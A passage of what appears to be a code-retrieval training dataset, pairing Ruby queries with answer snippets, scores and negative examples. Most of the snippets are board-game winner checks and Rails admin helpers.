[piece[0]-2,piece[1]],[piece[0]-1,piece[1]],[piece[0],piece[1]],[piece[0]+1,piece[1]] ],\n\t\t[ [piece[0]-3,piece[1]],[piece[0]-2,piece[1]],[piece[0]-1,piece[1]],[piece[0],piece[1]] ],\n\t\t[ [piece[0],piece[1]],[piece[0],piece[1]+1],[piece[0],piece[1]+2],[piece[0],piece[1]+3] ],\n\t\t[ [piece[0],piece[1]-1],[piece[0],piece[1]],[piece[0],piece[1]+1],[piece[0],piece[1]+2] ],\n\t\t[ [piece[0],piece[1]-2],[piece[0],piece[1]-1],[piece[0],piece[1]],[piece[0],piece[1]+1] ],\n\t\t[ [piece[0],piece[1]-3],[piece[0],piece[1]-2],[piece[0],piece[1]-1],[piece[0],piece[1]] ],\n\t\t[ [piece[0],piece[1]],[piece[0]+1,piece[1]+1],[piece[0]+2,piece[1]+2],[piece[0]+3,piece[1]+3] ],\n\t\t[ [piece[0]-1,piece[1]-1],[piece[0],piece[1]],[piece[0]+1,piece[1]+1],[piece[0]+2,piece[1]+2] ],\n\t\t[ [piece[0]-2,piece[1]-2],[piece[0]-1,piece[1]-1],[piece[0],piece[1]],[piece[0]+1,piece[1]+1] ],\n\t\t[ [piece[0]-3,piece[1]-3],[piece[0]-2,piece[1]-2],[piece[0]-1,piece[1]-1],[piece[0],piece[1]] ],\n\t\t[ [piece[0],piece[1]],[piece[0]+1,piece[1]-1],[piece[0]+2,piece[1]-2],[piece[0]+3,piece[1]-3] ],\n\t\t[ [piece[0]-1,piece[1]+1],[piece[0],piece[1]],[piece[0]+1,piece[1]-1],[piece[0]+2,piece[1]-2] ],\n\t\t[ [piece[0]-2,piece[1]+2],[piece[0]-1,piece[1]+1],[piece[0],piece[1]],[piece[0]+1,piece[1]-1] ],\n\t\t[ [piece[0]-3,piece[1]+3],[piece[0]-2,piece[1]+2],[piece[0]-1,piece[1]+1],[piece[0],piece[1]] ] ]\n\tend", "def winner\n if finished?\n @players.each do|key,score|\n if score.sum >=@length\n return key\n end\n end\n else\n nil\n end\n end", "def winner(board)\n if winning_combo = won?(board)\n board[winning_combo.first]\n end\n\n # x_arr = board.each_index.select{|i| board[i] == 'X'}\n # o_arr = board.each_index.select{|i| board[i] == 'O'}\n # if won?(board) == nil\n # nil\n # elsif (won?(board)-x_arr).empty?\n # p \"X\"\n # elsif (won?(board)-o_arr).empty?\n # p \"O\"\n # end\nend", "def check_columns_for_winner\n # @player = nil\n if board[0][0] == board[1][0] and board[1][0] == board[2][0] and not board[0][0] == nil\n @player = board[0][0]\n elsif board[0][1] == board[1][1] and board[1][1] == board[2][1] and not board[0][1] == nil\n @player = board[0][1]\n elsif board[0][2] == board[1][2] and board[1][2] == board[2][2] and not board[0][2] == nil\n @player = board[0][2]\n end\n end", "def win()\n\t return false if (self.score.nil? or self.opponent.score.nil?)\n\t self.score() ? self.score().to_i > self.opponent.score().to_i : false\n\tend", "def evaluate_result\n winning_patterns_index.each do |pattern|\n self.winner = current_player if pattern.all? { |index| available_moves[index] == current_player.symbol }\n end\n end", "def winner\n [rows, columns, diagonals].each do |groups|\n win_groups = groups.select { |g| g.all? && g.uniq.size == 1 }\n return [@human_player, @computer_player].find { |p| p.to_s == win_groups[0][0] } if !win_groups.empty?\n end\n nil\n end", "def get_winner\n indexes_to_check = (0..@n-3).to_a\n\n # Check horizontal winners\n @board.each_with_index do |_, k|\n indexes_to_check.each do |idx|\n return @board[k][idx] if marked(k, idx) && similar_value([k, idx], [k, idx + 1], [k, idx + 2])\n end\n end\n\n # Check vertical winners\n @n.times do |k|\n indexes_to_check.each do |idx|\n return @board[idx][k] if marked(idx, k) && similar_value([idx, k], [idx + 1, k], [idx + 2, k])\n end\n end\n\n # Check diagonal winners\n indexes_to_check.product(indexes_to_check).each do |idx1, idx2|\n if marked(idx1, idx2) && similar_value([idx1, idx2], [idx1 + 1, idx2 + 1], [idx1 + 2, idx2 + 2])\n return @board[idx1][idx2]\n elsif marked(idx1, idx2 + 2) && similar_value([idx1, idx2 + 2], [idx1 + 1, idx2 + 1], [idx1 + 2, idx2])\n return @board[idx1][idx2+2]\n end\n end\n\n false\n end", "def winner\n if winning_combo = won?\n @board[winning_combo.first]\n end\n end", "def winner \n @board[won?[0]] if won?\n end", "def winner\r\n win_combination = won?\r\n if win_combination\r\n win_index = win_combination[0]\r\n @board[win_index]\r\n end\r\n end", "def winning_location board \n\tif board[0][0] == 1 && board[0][1] ==1 && board[0][2] == 1\n\t\tputs \"X Wins\"\n\t\t@gameon = false\n\tend\n\n\tif board[0][0] == 2 && board[0][1] ==2 && board[0][2] == 2\n\t\tputs \"O Wins\"\n\t\t@gameon = false\n\tend\n\n\n\tif board[1][0] == 1 && board[1][1] ==1 && board[1][2] == 1\n\t\tputs \"X Wins\"\n\t\t@gameon = false\n\tend\n\n\tif board[1][0] == 2 && board[1][1] ==2 && board[1][2] == 2\n\t\tputs \"O Wins\"\n\t\t@gameon = false\n\tend\n\n\n\tif board[2][0] == 1 && board[2][1] ==1 && board[2][2] == 1\n\t\tputs \"X Wins\"\n\t\t@gameon = false\n\tend\n\n\tif board[2][0] == 2 && board[2][1] ==2 && board[2][2] == 2\n\t\tputs \"O Wins\"\n\t\t@gameon = false\n\tend\n\n\n\tif board[0][0] == 1 && board[1][0] ==1 && board[2][0] == 1\n\t\tputs \"X Wins\"\n\t\t@gameon = false\n\tend\n\n\tif board[0][0] == 2 && board[1][0] ==2 && board[2][0] == 2\n\t\tputs \"O Wins\"\n\t\t@gameon = false\n\tend\n\n\n\tif board[0][1] == 1 && board[1][1] ==1 && board[2][1] == 1\n\t\tputs \"X Wins\"\n\t\t@gameon = false\n\tend\n\n\tif board[0][1] == 2 && board[1][1] ==2 && board[2][1] == 2\n\t\tputs \"O Wins\"\n\t\t@gameon = false\n\tend\n\n\n\tif board[0][2] == 1 && board[1][2] ==1 && board[2][2] == 1\n\t\tputs \"X Wins\"\n\t\t@gameon = false\n\tend\n\n\tif board[0][2] == 2 && board[1][2] ==2 && board[2][2] == 2\n\t\tputs \"O Wins\"\n\t\t@gameon = false\n\tend\n\n\n\tif board[0][0] == 1 && board[1][1] ==1 && board[2][2] == 1\n\t\tputs \"X Wins\"\n\t\t@gameon = false\n\tend\n\n\tif board[0][0] == 2 && board[1][1] ==2 && board[2][2] == 2\n\t\tputs \"O Wins\"\n\t\t@gameon = false\n\tend\n\n\n\tif board[2][0] == 1 && board[1][1] ==1 && board[0][2] == 1\n\t\tputs \"X Wins\"\n\t\t@gameon = false\n\tend\n\n\tif board[2][0] == 2 && board[1][1] ==2 && board[0][2] == 2\n\t\tputs \"O Wins\"\n\t\t@gameon = false\n\tend\n\nend", "def won?(board)\n WIN_COMBINATIONS.each do |win_combo|\n win_in_1 = win_combo[0]\n win_in_2 = win_combo[1]\n win_in_3 = win_combo[2]\n\n position_1 = board[win_in_1]\n position_2 = board[win_in_2]\n position_3 = board[win_in_3]\n\n if position_1 == position_2 && position_2 == position_3 && position_taken?(board, win_in_1)\n return win_combo\n end\n end\n return false\nend", "def evaluate_game(game_board)\n game_finished = false\n for i in 0..5\n \n if game_finished == true\n break\n end\n \n #Vertical and Horizontal evaluation to see if 4 are connected\n for j in 0..3\n if (game_board[i+1][j] == game_board[i+1][j+1]) && (game_board[i+1][j]==game_board[i+1][j+2]) && (game_board[i+1][j]==game_board[i+1][j+3])&&(game_board[i+1][j]==\"X\"||game_board[i+1][j]==\"O\") #rows\n puts \"User \" + game_board[i+1][j].to_s + \" wins\"\n game_finished = true\n break\n end\n end\n \n end\n \n for i in 0..6\n for j in 0..2 #columns\n if (game_board[j+1][i] == game_board[j+2][i]) && (game_board[j+1][i] == game_board[j+3][i])&&(game_board[j+1][i] == game_board[j+4][i])&&((game_board[j+1][i] == \"X\")||(game_board[j+1][i] == \"O\")) #columns\n puts \"User \" + game_board[j+1][i].to_s + \" wins\"\n game_finished = true\n break\n end\n end\n end\n \n #Evaluate if Diagonals have 4 connected\n for i in 1..6 #rows\n \n if game_finished == true\n break\n end\n \n for j in 0..6 #columns\n \n \n if (j<=3) #if it has 4 spaces to the right\n if (i>=4)#if it has 4 spaces up\n if(game_board[i][j]==game_board[i-1][j+1])&&(game_board[i][j]==game_board[i-2][j+2])&&(game_board[i][j]==game_board[i-3][j+3])&&((game_board[i][j] == \"X\")||(game_board[i][j] == \"O\"))\n puts \"User \" + game_board[i][j].to_s + \" wins\"\n game_finished = true\n break\n end\n end\n if (i<=3)#if it has 4 spaces down\n #Evalaution\n if(game_board[i][j]==game_board[i+1][j+1])&&(game_board[i][j]==game_board[i+2][j+2])&&(game_board[i][j]==game_board[i+3][j+3])&&((game_board[i][j] == \"X\")||(game_board[i][j] == \"O\"))\n puts \"User \" + game_board[i][j].to_s + \" wins\"\n game_finished = true\n break\n end\n end\n \n end\n \n \n if (j>3) #if it has 4 spaces to the left\n if (i>=4)#if it has 4 spaces up\n if(game_board[i][j]==game_board[i-1][j-1])&&(game_board[i][j]==game_board[i-2][j-2])&&(game_board[i][j]==game_board[i-3][j-3])&&((game_board[i][j] == \"X\")||(game_board[i][j] == \"O\"))\n puts \"User \" + game_board[i][j].to_s + \" wins\"\n game_finished = true\n break\n end\n end\n \n if (i<4) #if it has 4 spaces down\n #puts(\"Llega a segundo if<4\")\n if(game_board[i][j]==game_board[i+1][j-1])&&(game_board[i][j]==game_board[i+2][j-2])&&(game_board[i][j]==game_board[i+3][j-3])&&((game_board[i][j] == \"X\")||(game_board[i][j] == \"O\"))\n puts \"User \" + game_board[i][j].to_s + \" wins\"\n game_finished = true\n break\n end\n end\n \n end\n \n end\n end\n \n return game_finished\n \nend", "def won?(board)\n if empty?(board)\n return false\n end\n\n WIN_COMBINATIONS.each do |win_combination|\n win_index_1 = win_combination[0]\n win_index_2 = win_combination[1]\n win_index_3 = win_combination[2]\n\n position_1 = board[win_index_1] # load the value of the board at win_index_1\n position_2 = board[win_index_2] # load the value of the board at win_index_2\n position_3 = board[win_index_3] # load the value of the board at win_index_3\n\n if position_1 == \"X\" && position_2 == \"X\" && position_3 == \"X\"\n return win_combination # return the win_combination indexes that won.\n elsif position_1 == \"O\" && position_2 == \"O\" && position_3 == \"O\"\n return win_combination # return the win_combination indexes that won.\n else\n false\n end\n end\n\n if full?(board)\n return false\n end\nend", "def winner_player1\n if @board.A1 == \"X \" && @board.A2 == \"X \" && @board.A3 == \"X \"\n return true \n elsif @board.B1 == \"X \" && @board.B2 == \"X \" && @board.B3 == \"X \"\n return true\n elsif @board.C1 == \"X \" && @board.C2 == \"X \" && @board.C3 == \"X \"\n return true\n elsif @board.A1 == \"X \" && @board.B1 == \"X \" && @board.C1 == \"X \"\n return true\n elsif @board.A2 == \"X \" && @board.B2 == \"X \" && @board.C2 == \"X \"\n return true\n elsif @board.A3 == \"X \" && @board.B3 == \"X \" && @board.C3 == \"X \"\n return true \n elsif @board.A1 == \"X \" && @board.B2 == \"X \" && @board.C3 == \"X \"\n return true\n elsif @board.A3 == \"X \" && @board.B2 == \"X \" && @board.C1 == \"X \"\n return true \n else\n return false\n end\nend", "def check_for_winner\n\t\tdid_player_win = false\n\t\tx = 1\n\t\twhile x < 8\n\t\t\ty = 1\n\t\t\twhile y < 7\n\t\t\t\tcurrent_key = \"#{x}-#{y}\"\n\t\t\t\tcurrent_hole = game_board[current_key]\n\t\t\t\t@x_to_check = x\n\t\t\t\t@y_to_check = y\n\t\t\t\tif current_hole.owned_by_player == @current_player\n\t\t\t\t\tdid_player_win = check_for_line(x, y)\n\t\t\t\t\tif did_player_win\n\t\t\t\t\t\treturn true\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\ty += 1\n\t\t\tend\n\t\t\tx += 1\n\t\tend\n\t\treturn false\n\tend", "def win_check(board, player_check)\n # checks to see if inputted board has a winner\n if (board[0] == player_check && board[1] == player_check && board[2] == player_check) ||\n (board[3] == player_check && board[4] == player_check && board[5] == player_check) ||\n (board[6] == player_check && board[7] == player_check && board[8] == player_check) ||\n (board[0] == player_check && board[3] == player_check && board[6] == player_check) ||\n (board[1] == player_check && board[4] == player_check && board[7] == player_check) ||\n (board[2] == player_check && board[5] == player_check && board[8] == player_check) ||\n (board[0] == player_check && board[4] == player_check && board[8] == player_check) ||\n (board[2] == player_check && board[4] == player_check && board[6] == player_check)\n return true\n else\n return false\n end\nend", "def result\n if (hand.player_points <= LIMIT_POINTS && hand.player_points > hand.points_dealer) ||\n (hand.player_points <= LIMIT_POINTS && hand.points_dealer > LIMIT_POINTS)\n :player_win\n elsif (hand.points_dealer <= LIMIT_POINTS && hand.points_dealer > hand.player_points) ||\n (hand.points_dealer <= LIMIT_POINTS && hand.player_points > LIMIT_POINTS)\n puts 'Dealer win.'\n :dealer_win\n else\n :draw\n end\n end", "def find_winner\n if @player_1.life == 0\n return 2\n end\n return 1\n end", "def winner\n if won?\n @board[won?[0]]\n end\n end", "def checkWinner(state, player1, player2)\n\n for i in 0..2\n\n row_candidate = true\n column_candidate = true\n\n for j in 1..2\n\n # check rows\n if state[i * 3 + j] == '0' || state[i * 3 + j] != state[i * 3 + j - 1] then\n row_candidate = false\n elsif row_candidate && state[i * 3 + j] == state[i * 3 + j - 1] then\n if j == 2 then\n winner = if state[i * 3 + j] == '1' then player1 else player2 end\n return winner\n end\n end\n\n # check columns\n if state[j * 3 + i] == '0' || state[j * 3 + i] != state[(j - 1) * 3 + i] then\n column_candidate = false\n elsif column_candidate && state[j * 3 + i] == state[(j - 1) * 3 + i] then\n if j == 2 then\n winner = if state[j * 3 + i] == '1' then player1 else player2 end\n return winner\n end\n end\n end\n end\n\n # check diagonals\n if state[0] == state[4] && state[4] == state[8] && state[0] != '0' then\n winner = if state[0] == '1' then player1 else player2 end\n return winner\n end\n\n if state[2] == state[4] && state[4] == state[6] && state[2] != '0' then\n winner = if state[2] == '1' then player1 else player2 end\n return winner\n end\n\n return nil\n end", "def won?(board)\n \n WIN_COMBINATIONS.each {|i|\n #get win combinations at each loops\n win_1= i[0]\n win_2 = i[1]\n win_3 = i[2]\n \n \n pos_1 = board[win_1]\n pos_2 = board[win_2]\n pos_3 = board[win_3]\n \n if(pos_1 == \"O\" && pos_2 == \"O\" && pos_3 == \"O\")\n return i\n elsif (pos_1 == \"X\" && pos_2 == \"X\" && pos_3 == \"X\")\n return i\n end\n }\n return false\n end", "def score(board, player)\n winner = board.find_winner\n return 1000000 if winner && winner == player\n return -1000000 if winner && winner == opponent(player)\n score_for(board, player) - score_for(board, opponent(player))\n end", "def winner(board)\n\nif over?(board)\nreturn board[over?(board)[0]]\nend\nend", "def won?(board)\n WIN_COMBINATIONS.each do |win_array|\n\n win_index_1 = win_array[0]\n win_index_2 = win_array[1]\n win_index_3 = win_array[2]\n\n position_1 = board[win_index_1] # load the value of the board at win_index_1\n position_2 = board[win_index_2] # load the value of the board at win_index_2\n position_3 = board[win_index_3] # load the value of the board at win_index_3\n\n if ((position_taken?(board, win_index_1) && position_1 ==\"X\") && (position_taken?(board, win_index_2) && position_2 ==\"X\") && (position_taken?(board, win_index_3) && position_3 ==\"X\") or \n (position_taken?(board, win_index_1) && position_1 ==\"O\") && (position_taken?(board, win_index_2) && position_2 ==\"O\") && (position_taken?(board, win_index_3) && position_3 ==\"O\"))\n return win_array\n end\n end\n return false\nend", "def checkWin()\n # bool vars to check valid moves \n player1Valid = false\n player2Valid = false\n\n if @player1.numPlayedPieces <=2 && @player1.numUnplayedPieces == 0 \n puts \"Player 2 has won the game!\"\n return true\n elsif @player2.numPlayedPieces <=2 && @player2.numUnplayedPieces == 0 \n puts \"Player 1 has won the game!\"\n return true\n else\n # both players have more then 2 pieces on the bord.\n # check if players have valid moves left.\n if @player1.numUnplayedPieces > 0 \n # No winner there is a valid move for player1.\n puts \"Player 1 has valid moves\"\n return false\n elsif @player2.numUnplayedPieces > 0 \n puts \"Player 2 has valid moves\"\n return false\n else\n # check if any moves are possible.\n\n # player 1\n # until true, loop through played pieces, for each location call validMove(). there is no (get adjacent function so this is clunky sorry)\n for piece in @player1.playedPieces\n \n @board.locations.each do |row|\n row.each do |location|\n \n # validMove will return true if it is valid. \n if validMove(piece, location)\n player1Valid = true\n end \n break if player1Valid \n end\n break if player1Valid \n end\n break if player1Valid \n end\n\n #player2\n for piece in @player2.playedPieces\n \n @board.locations.each do |row|\n row.each do |location|\n \n # validMove will return true if it is valid. \n if validMove(piece, location)\n player2Valid = true\n end \n break if player2Valid \n end\n break if player2Valid \n end\n break if player2Valid \n end\n \n\n if !player1Valid && !player2Valid \n puts \"Both Player's have no moves. The game is a draw\"\n return true\n \n elsif !player1Valid\n # player1 has no remaining moves\n puts @player1.name +\" has no valid moves,\" + @player2.name + \" wins!\"\n return true\n\n \n elsif !player2Valid\n # player1 has no rem\n puts @player2.name +\" has no valid moves,\" + @player1.name + \" wins!\"\n return true\n \n else\n puts \" both players have valid moves left. The game is not over.\"\n return false\n end\n end\n end\n\n end", "def won? (board)\n #for each row, column and diagnonal combination\n WIN_COMBINATIONS.each do | win_combination |\n #grab the winning combinaation of indices we are looking for\n win_index_1 = win_combination[0]\n win_index_2 = win_combination[1]\n win_index_3 = win_combination[2]\n\n #extract the value of these winning indices from the board\n position_1 = board[win_index_1]\n position_2 = board[win_index_2]\n position_3 = board[win_index_3]\n\n\n #check if either team has won\n if (position_1 == \"X\" && position_2 == \"X\" && position_3 == \"X\") ||\n (position_1 == \"O\" && position_2 == \"O\" && position_3 == \"O\")\n #we break out of here if we have a winning row, col, or diagnonal\n return win_combination\n end #end if\n end #end for each\n\n #if we get here the board may be empty\n #if we get here the board may be filled, but no winning combos\n return false\nend", "def game_over?(board,moves)\n \n winner?(board) || tie?(moves)\n\n end", "def game_over?\n x_array = []\n o_array = []\n @taken.each do |key, value|\n if value == \"X\"\n x_array << key\n else\n o_array << key\n end\n end\n # The x and o arrays are compared to 3 because 3 moves is the minimum number of moves needed to win\n if x_array.length >= 3 || o_array.length >= 3\n if three_in_a_row?(x_array) == true || three_in_a_row?(o_array) == true\n return true\n end\n else\n return false\n end\n end", "def winner\n match = horizontal_match || vertical_match || diagonal_match\n match ? @last_drop[:piece] : nil\n end", "def get_moves_2(piece, board)\n valid_col = case piece.name\n when ?A then 3\n when ?B then 5\n when ?C then 7\n when ?D then 9\n else 11\n end\n moves = []\n\n # If in hallway\n if piece.row == 1\n cols = valid_col < piece.col ? (valid_col...piece.col).to_a : (piece.col+1..valid_col).to_a\n if cols.count{|c| board[[1, c]] == ?.} == cols.length\n if board[[2, valid_col]] == ?. && board[[3, valid_col]] == piece.name && board[[4, valid_col]] == piece.name && board[[5, valid_col]] == piece.name\n moves << [[2, valid_col], (cols.count + 1) * piece.cost]\n elsif board[[2, valid_col]] == ?. && board[[3, valid_col]] == ?. && board[[4, valid_col]] == piece.name && board[[5, valid_col]] == piece.name\n moves << [[3, valid_col], (cols.count + 2) * piece.cost]\n elsif board[[2, valid_col]] == ?. && board[[3, valid_col]] == ?. && board[[4, valid_col]] == ?. && board[[5, valid_col]] == piece.name\n moves << [[4, valid_col], (cols.count + 3) * piece.cost]\n elsif board[[2, valid_col]] == ?. && board[[3, valid_col]] == ?. && board[[4, valid_col]] == ?. && board[[5, valid_col]] == ?.\n moves << [[5, valid_col], (cols.count + 4) * piece.cost]\n end\n end\n # If right column and something is underneath and nothing above\n # If in wrong column completely and nothing above\n elsif piece.row >= 2\n below = (piece.row+1..5).to_a\n above = (2..piece.row-1).to_a\n if ((piece.col == valid_col && below.count{|c| board[[c, piece.col]] != piece.name} != 0 && below.length != 0) || (piece.col != valid_col)) && (above.count{|c| board[[c, piece.col]] == ?.} == above.length)\n 2.times do |t|\n dir = t == 0 ? -1 : 1\n curr = piece.col\n steps = 1 + above.length\n while board[[1, curr]] == ?.\n moves << [[1, curr], steps * piece.cost] if ![3, 5, 7, 9].include?(curr)\n steps += 1\n curr += dir\n end\n end\n end\n end\n moves\nend", "def player_o_has_won_H?\n if @board[0] == 'O' && @board[1] == 'O' && @board[2] == 'O' || @board[3] == 'O' && @board[4] == 'O' && @board[5] == 'O' || @board[6] == 'O' && @board[7] == 'O' && @board[8] == 'O'\n true\n end\n end", "def winner(board)\n if winning_combination = won?(board)\n board[winning_combination[0]]\n end\nend", "def winner\n triplet = won?\n if !!triplet\n return @board[triplet[0]]\n end\n return nil\n end", "def winning_move?\n winning_moves = [[1,2,3], [4,5,6], [7,8,9], [1,4,7], [2,5,8], [3,6,9], [1,5,9], [3,5,7]]\n winning_moves.each do |set|\n #check game board to see if XXX or OOO combination exists\n if (@board[set[0]] == \"X\") && (@board[set[1]] == \"X\") && (@board[set[2]] == \"X\")\n @winner = \"X\"\n return true\n elsif (@board[set[0]] == \"O\") && (@board[set[1]] == \"O\") && (@board[set[2]] == \"O\")\n @winner = \"O\"\n return true\n end\n end\n return false\n end", "def won?(board)\n\nWIN_COMBINATIONS.find do |combo|\n board[combo[0]] == board[combo[1]] &&\n board[combo[1]] == board[combo[2]] &&\n position_taken?(board, combo[0])\n end\nend", "def wins\n n = self.find_board_size\n streaks = (row_streaks(n) + column_streaks(n) + diagonal_streaks(n))\n wins = streaks_to_wins(streaks, n, 0) + diagonal_wins(n)\n return wins\n end", "def player_or_computer(board, winner)\n return nil if board[winner] == BLANK_SQUARE\n if board[winner] == PLAYER_PIECE\n inc_score(board, 'player')\n return 'You win!'\n else\n inc_score(board, 'computer')\n return 'Computer wins!'\n end\nend", "def winner\n # shortcut for less typing\n b = @board\n\n # rows\n return b[0] if b[0] == b[1] && b[1] == b[2]\n return b[3] if b[3] == b[4] && b[4] == b[5]\n return b[6] if b[6] == b[7] && b[7] == b[8]\n\n # cols\n return b[0] if b[0] == b[3] && b[3] == b[6]\n return b[1] if b[1] == b[4] && b[4] == b[7]\n return b[2] if b[2] == b[5] && b[5] == b[8]\n\n # diagonals\n return b[4] if b[0] == b[4] && b[4] == b[8]\n return b[4] if b[2] == b[4] && b[4] == b[6]\n\n end", "def won?(board)\n WIN_COMBINATIONS.each {|win_combo|\n index_0 = win_combo[0]\n index_1 = win_combo[1]\n index_2 = win_combo[2]\n\n position_1 = board[index_0]\n position_2 = board[index_1]\n position_3 = board[index_2]\n\n if position_1 == \"X\" && position_2 == \"X\" && position_3 == \"X\"\n final_winner = \"X\"\n return win_combo\n elsif position_1 == \"O\" && position_2 == \"O\" && position_3 == \"O\"\n final_winner = \"O\"\n return win_combo\n end\n }\n return false\nend", "def win\n # horizontal win\n winner = horizontal_win?\n if winner\n victory(winner)\n return winner\n end\n\n # Vertical win (way harder to test for)\n winner = vertical_win?\n if winner\n victory(winner)\n return winner\n end\n\n # Diagonal win\n winner = diagonal_win?\n if winner\n victory(winner)\n return winner\n end\n\n # If the board is full and there are no declared winners\n\n if full?\n victory(\"Nobody\")\n return \"tie\"\n end\n return false\n end", "def win?(player,piece)\n\t\twin_possibilities(piece).each do |possibility|\n\t\t\treturn true if possibility - player.pieces == []\n\t\tend\n\t\tfalse\n\tend", "def won?()\n\n # loops through the 2D array WIN_COMBINATIONS\n WIN_COMBINATIONS.each do |combination|\n\n # flags\n x_win = 0\n o_win = 0\n\n combination.each do |index|\n\n # checks if player X wins\n if @board[index] == \"X\"\n x_win += 1\n\n if x_win == 3\n return combination\n end\n else\n x_win = 0\n end\n\n # checks if player O wins\n if @board[index] == \"O\"\n o_win += 1\n\n if o_win == 3\n return combination\n end\n else\n o_win = 0\n end\n\n end\n end\n\n # return false if there is no winner\n return false\n end", "def winner\n if won? == nil\n return nil\n else\n winning_position = won?\n winning_index = winning_position[0]\n @board[winning_index]\n end\n end", "def check_win\n\tp = tokenize($current_player)\n\tvert1 = $row1[0] + $row2[0] + $row3[0]\n\tvert2 = $row1[2] + $row2[2] + $row3[2]\n\tvert3 = $row1[4] + $row2[4] + $row3[4]\n\n\thorz1 = vert1[0] + vert2[0] + vert3[0]\n\thorz2 = vert1[1] + vert2[1] + vert3[1]\n\thorz3 = vert1[2] + vert2[2] + vert3[2]\n\n\tdiag1 = $row1[0] + $row2[2] + $row3[4]\n\tdiag2 = $row3[0] + $row2[2] + $row1[4]\n\n\twinning_options = [vert1, vert2, vert3, horz1, horz2, horz3, diag1, diag2]\n\tif winning_options.any? {|x| (x.count p) >= 3}\n\t\treturn true\n\tend \nend", "def attack_against_opponent(board)\n\t\tcell_found = nil\n\t\tWIN_COMBINATIONS.each do |combo|\n\t\t\thash = Hash.new\n\t\t\thash[combo[0]] = board.cells[combo[0]]\n\t\t\thash[combo[1]] = board.cells[combo[1]]\n\t\t\thash[combo[2]] = board.cells[combo[2]]\n\t\t\t# find a combination with two O and fulfill the empty\n\t\t\t# if there isn't any cell_found is false\n\t\t\tif(hash.values.count(\"O\") == 2 && hash.values.include?(\" \"))\n\t\t\t\tcell_found = hash.key(\" \")+1\n\t\t\tend\n\t\tend # end-loop\n\t\tcell_found\n\tend", "def winner\n return @board[won?[0]] if won?\n end", "def won?(board)\n WIN_COMBINATIONS.find do |winning_combo|\n board[winning_combo[0]] == board[winning_combo[1]] &&\n board[winning_combo[1]] == board[winning_combo[2]] &&\n position_taken?(board, winning_combo[0])\n end\nend", "def minimax(board, player) \n\n # First check to see if the game has been won. If it has, then\n # return 1 if the current player is the winner, because this state\n # has a minimax score of 1 for the player, and return -1 if the\n # other player is the winner, because this state has a minimax\n # score of -1 for the player (since the opponent wins)\n if board.game_over then\n return [-1, [-1, -1]]\n end\n\n move = [-1, -1]\n score = -2 # lower than the lowest possible score\n\n [0, 1, 2].each do |row|\n [0, 1, 2].each do |col| # all possible locations\n if board.state[row][col] == \" \" then # only valid moves\n new_board_state = board.get_copy\n new_board_state.state[row][col] = player\n\n # negate the opponent's score.\n score_for_this_move = -1 * (minimax(new_board_state, get_opposite_player(player))[0])\n\n if score_for_this_move > score then \n\n score = score_for_this_move\n\n move[0] = row\n move[1] = col\n end\n end\n end\n end\n\n # no possible moves, it's a draw\n if move[0] == -1 then\n return [0, move]\n end\n \n return [score, move]\nend", "def won?(board)\n WIN_COMBINATIONS.each do |combo|\n if position_taken?(board,combo[0]) && position_taken?(board,combo[1]) && position_taken?(board,combo[2])\n if board[combo[0]] == board[combo[1]] && board[combo[1]] == board[combo[2]]\n return combo\n end\n end\n end\n return false\nend" ]
[ "0.73557043", "0.7177711", "0.71628666", "0.71338725", "0.7116268", "0.70942736", "0.7089577", "0.7070855", "0.70603967", "0.7024414", "0.70135534", "0.69724154", "0.6964752", "0.6963684", "0.6960248", "0.6932662", "0.6918179", "0.6912157", "0.69090766", "0.69063103", "0.69058484", "0.69058484", "0.6904267", "0.68967855", "0.689585", "0.6878726", "0.68351054", "0.68223387", "0.68222505", "0.68184257", "0.68003404", "0.6785087", "0.6770346", "0.67682195", "0.67680043", "0.6767018", "0.67658246", "0.6751602", "0.6747255", "0.67470163", "0.67336315", "0.6730263", "0.67217153", "0.671965", "0.6717932", "0.67133355", "0.67041177", "0.67026865", "0.67026865", "0.6671501", "0.6669899", "0.6662501", "0.6660811", "0.6640777", "0.66405684", "0.66372526", "0.66368794", "0.6636136", "0.6634063", "0.66325206", "0.6627017", "0.66263103", "0.6625438", "0.66231364", "0.6621229", "0.6617502", "0.66122174", "0.6611162", "0.66106385", "0.6605936", "0.6598939", "0.6597075", "0.65946084", "0.65944237", "0.6593412", "0.6587487", "0.65826225", "0.6576251", "0.6575138", "0.65742844", "0.65742654", "0.6568763", "0.6567758", "0.65645444", "0.6564238", "0.6562438", "0.65595955", "0.65589404", "0.65526074", "0.6552089", "0.6546371", "0.6542784", "0.65422815", "0.6540725", "0.65401334", "0.6538273", "0.6531012", "0.65232915", "0.6522807", "0.65204" ]
0.80389357
0
Overwrite this method to customize how sections are displayed across all pages of the admin dashboard.
def display_resource(section) section.name end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @admin_sections = HomeSection.all\n end", "def sections\n account.accessible_sections if account\n end", "def sections\n respond_with @page.sections\n end", "def sections\n respond_with @page.sections\n end", "def default_sections\n [\n Section.new(name: \"summary\", prefix: @options[:summary_prefix], labels: @options[:summary_labels], options: @options, body_only: true),\n Section.new(name: \"breaking\", prefix: @options[:breaking_prefix], labels: @options[:breaking_labels], options: @options),\n Section.new(name: \"enhancements\", prefix: @options[:enhancement_prefix], labels: @options[:enhancement_labels], options: @options),\n Section.new(name: \"bugs\", prefix: @options[:bug_prefix], labels: @options[:bug_labels], options: @options),\n Section.new(name: \"deprecated\", prefix: @options[:deprecated_prefix], labels: @options[:deprecated_labels], options: @options),\n Section.new(name: \"removed\", prefix: @options[:removed_prefix], labels: @options[:removed_labels], options: @options),\n Section.new(name: \"security\", prefix: @options[:security_prefix], labels: @options[:security_labels], options: @options)\n ]\n end", "def sections\n @sections ||= @account.sections\n end", "def list_sections\n \n end", "def set_admin_section\n @section = HomeSection.find(params[:id])\n end", "def sections=(value)\n @sections = value\n end", "def page_sections(name, section_class, identifier, parent = self)\n define_method(name) do\n platform.pages_for(identifier, section_class, parent)\n end\n end", "def index\n @cms_page_sections = Cms::PageSection.all\n end", "def index\n @title = \"Prima Lingua: Viewing all sections\"\n if teacher_signed_in?\n @teacher = Teacher.find(current_teacher)\n @sections = Section.where(:teacher_id => @teacher.id)\n elsif params[:teacher_id]\n @teacher = Teacher.find(:teacher_id)\n @sections = Section.where(:teacher_id => @teacher.id)\n elsif admin_signed_in?\n @sections = Section.all\n end\n render_flex_layout\n end", "def kopal_layout_before_page_sidebar\n\n end", "def section\n return @section if @section\n\n @section = parent.add_section @section_title if parent\n end", "def sections\n @pages.collect { |p| p.sections }.flatten\n end", "def set_divisions_and_sections\n @division = current_user.section.division\n @sections = @division.sections.order(\"number\")\n end", "def index\n add_breadcrumb t(:'hyrax.controls.home'), 